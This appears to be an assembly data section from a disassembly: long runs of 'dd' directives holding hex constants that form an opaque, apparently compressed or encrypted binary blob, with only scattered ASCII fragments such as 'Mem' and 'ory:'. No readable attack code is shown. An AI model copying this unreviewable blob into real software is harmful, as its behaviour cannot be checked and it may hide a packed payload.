		dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h
		dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h
		dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h
		dd 0E0485E25h, 8BA18Ah,	0E4D414A3h, 88909DA4h, 64836602h
		dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh
		dd 51FF100Ch, 419FC15h,	0C3A78AAEh, 6071805Ah, 7304123Ah
		dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah
		dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h
		dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h
		dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh
		dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h
		dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h
		dd 88E3CCA8h, 1385150h,	0CBD48A23h, 7056B2CFh, 6B00B387h
		dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h
		dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h
		dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h,	0ACDD5634h
		dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h
		dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah
		dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h
		dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch,	57A5C7A3h
		dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah
		dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh,	3D8E230h
		dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h
		dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h,	4271109Dh
		dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h,	0BF4B2D87h
		dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch
		dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch
		dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h
		dd 78207B96h, 90100B9h,	6531F3E8h, 2B0F27B6h, 6FAA56B0h
		dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h
		dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h
		dd 0AD05D354h, 91F849h,	6CC88925h, 0A34A2471h, 0A540400h
		dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh
		dd 188A910h, 6AE48661h,	0C0953F1Ch, 0C8002C97h,	6B7C818Fh
		dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h
		dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h
		dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h
		dd 19A810h, 0EF755CC2h,	6FB8F844h, 64B05B00h, 0C94BC4B3h
		dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h,	84D0C3EFh
		dd 7A88214Ch, 53CF022h,	9D7D83F4h, 5598C0C2h, 85001018h
		dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h
		dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh
		dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh
		dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h
		dd 1468D0Fh, 6268C0AAh,	844BE8h, 39554C64h, 0C749F8CEh
		dd 936F400h, 1F8203D0h,	90FA0081h, 618F0FA4h, 40488B92h
		dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
		dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
		dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
		dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
		dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h,	321D336Ch
		dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
		dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h,	40FFE3CEh
		dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
		dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h,	64210052h
		dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
		dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
		dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h
		dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch,	0F61811h
		dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
		dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h
		dd 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h, 0CA655F72h
		dd 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh, 6E232938h
		dd 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h, 0B5213912h
		dd 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh, 9BC2A088h
		dd 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h, 0BFA37756h
		dd 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h, 8FE8C0E0h
		dd 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h, 0EB45A1C2h
		dd 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh,	2E030A37h
		dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h,	0CB41FCEEh
		dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h,	998438Bh
		dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch
		dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h,	0AC042512h
		dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h
		dd 2993E8h, 0E6A2D272h,	11C98E7Dh, 6DF81F00h, 1DF1F35Eh
		dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h
		dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h
		dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h,	6CB0C46h
		dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h
		dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h,	65D6E800h
		dd 827A079h, 50C4FA18h,	0B80FE502h, 29C00313h, 62491778h
		dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh
		dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch
		dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh
		dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h
		dd 0AB303950h, 5CAD2Ah,	0B1D58990h, 968D1361h, 7C2EB900h
		dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh,	0BC074C79h
		dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h
		dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h
		dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h,	6FC91781h
		dd 607E316Bh, 20736C0h,	0FA480775h, 5EE4B1E0h, 0A47CC3h
		dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h,	0DBF08BB3h
		dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h,	4BCAE0EAh
		dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h
		dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h,	200AAE11h
		dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h,	0E6F34Ch
		dd 0EF461CD3h, 20C30Eh,	0F718AFA6h, 0E9B767B8h,	0A97231Dh
		dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh,	0B400FA83h
		dd 85541977h, 6032198h,	132453E1h, 41C5E94Eh, 98042CD4h
		dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h
		dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h
		dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah
		dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh,	58005216h
		dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h
		dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh,	0DBF2724Ch
		dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh,	6500F426h
		dd 104B8339h, 203CA2Bh,	7CF080C4h, 0A1808A1Fh, 3A9B3C42h
		dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h
		dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h,	43C30EACh
		dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h
		dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h,	0BCC60C00h
		dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah,	76805A00h
		dd 45E89C6h, 56FF1D17h,	4587C718h, 0B8942069h, 76007166h
		dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h
		dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh
		dd 1167FD1h, 7DC5A30Eh,	421900F4h, 5F4CA4F3h, 59503302h
		dd 100DA85h, 915D7A62h,	0B6E3D06h, 0AB75A04Eh, 39F6C780h
		dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h
		dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h
		dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h
		dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h,	0CB802BBBh
		dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h,	0AEA0BAh
		dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h
		dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h
		dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h
		dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h
		dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h
		dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch
		dd 71416CBh, 7F8DD5A2h,	0F29C02Bh, 5F001FE2h, 2CDB92C0h
		dd 4F6855h, 0DE011990h,	0ECE8C1C9h, 4224B201h, 3D620F16h
		dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h
		dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h,	0CB473198h
		dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh,	150001A4h
		dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh
		dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h,	8C7A1698h
		dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah,	43B7E16Fh
		dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h
		dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h
		dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh
		dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h
		dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh
		dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh
		dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h
		dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh
		dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h,	8FD1D7B7h
		dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh,	45812296h
		dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h
		dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh
		dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h,	0E78E617h
		dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h
		dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh
		dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h,	8029F2CCh
		dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h
		dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah
		dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h
		dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h
		dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h
		dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h
		dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
		dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
		dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
		dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
		dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
		dd 0B18D0h, 875C91Dh
		dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh
		dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h
		dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh
		dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h
		dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h
		dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h
		dd 5F18000h, 481C2478h,	0FFDA00C3h, 0E8048237h,	0ED30F8D9h
		dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah,	0A77B9EDAh
		dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
		dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
		dd 251520Fh, 40400FABh,	9C7C20F9h, 302C00F1h, 0D81C051Ah
		dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h,	0C121061Ch
		dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
		dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h,	9D5442h
		dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h,	317F000Ah
		dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
		dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
		dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
		dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
		dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
		dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
		dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
		dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
		dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
		dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
		dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah,	0D22E00E8h
		dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
		dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h,	83784Fh
		dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h,	5771E14h
		dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h,	0A8CD191Fh
		dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
		dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
		dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
		dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
		dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
		dd 8466937h, 94047BC8h,	4B13BA00h, 75F998B1h, 25EE6Eh
		dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
		dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
		dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
		dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
		dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
		dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h,	98396072h
		dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
		dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
		dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
		dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h,	0DEC491C8h
		dd 0F8CE100h, 3D207B7h,	10E200C1h, 0B0C3C20Bh, 4F98A1E8h
		dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h,	4914DC05h
		dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
		dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h,	0A2423A3Ch
		dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h,	1CF539F4h
		dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
		dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
		dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
		dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
		dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
		dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
		dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh,	91B123B0h
		dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
		dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
		dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
		dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
		dd 0F62F0501h, 2AB0FEh,	65637845h, 0A6D13A70h, 805D883Ah
		dd 8B530A7h, 1C8A1020h,	0C0685CD4h, 817E2423h, 651F4845h
		dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
		dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
		dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh,	588E989Dh
		dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h,	0B258F057h
		dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
		dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
		dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
		dd 2C00048h, 676E6152h,	9DFD1965h, 7700C820h, 8210C92h
		dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch,	64221DC0h
		dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
		dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
		dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
		dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
		dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h,	0D044F649h
		dd 301DB90Ch, 97D567Eh,	8C433Ah, 63E98D01h, 7542F4AFh
		dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
		dd 0EACC4Ch, 41451005h,	7388C363h, 0E0568A00h, 0B9616C89h
		dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
		dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h,	6B632661h
		dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
		dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
		dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
		dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh,	738572D9h
		dd 490BDE8h, 839C6655h,	41491F0Ah, 4365D2ACh, 8F60E074h
		dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
		dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
		dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
		dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
		dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
		dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h,	3AEB00E1h
		dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
		dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh,	12A74A6h
		dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h,	0A120DC7Fh
		dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h
		dd 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah
		dd 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h
		dd 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h
		dd 10240CDBh, 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h
		dd 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h
		dd 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h
		dd 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h,	0BCC8F5Ch
		dd 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h
		dd 5FFE4Ch, 0D4D68251h,	993537AAh, 5A880207h, 32079D6Eh
		dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h
		dd 9AEFF00h, 6B291B50h,	3F840002h, 4461765Bh, 884CEE0Eh
		dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h
		dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h
		dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h
		dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h,	70FC00E5h
		dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h
		dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h
		dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h,	5BC30012h
		dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h
		dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h,	11B080h
		dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h
		dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h
		dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h,	0D6B5Eh
		dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h
		dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh,	9FDA00C0h
		dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h
		dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h
		dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h
		dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h,	573A0E47h
		dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h,	67503h
		dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h,	55DC00EAh
		dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h
		dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh
		dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h,	9DC400DFh
		dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh
		dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch,	62B01E87h
		dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h,	5D892082h
		dd 16297F00h, 3CE1FA2h,	7D510068h, 0B22890FCh, 612C8C5h
		dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h
		dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h,	0FEBAEAE8h
		dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h,	5CF100E8h
		dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h
		dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h,	0A6525851h
		dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh
		dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah
		dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h
		dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h,	37097739h
		dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h
		dd 0D68AE958h, 46178Dh,	1277A7DEh, 1077D4FFh, 390C093Dh
		dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh,	0C12488DFh
		dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h
		dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h
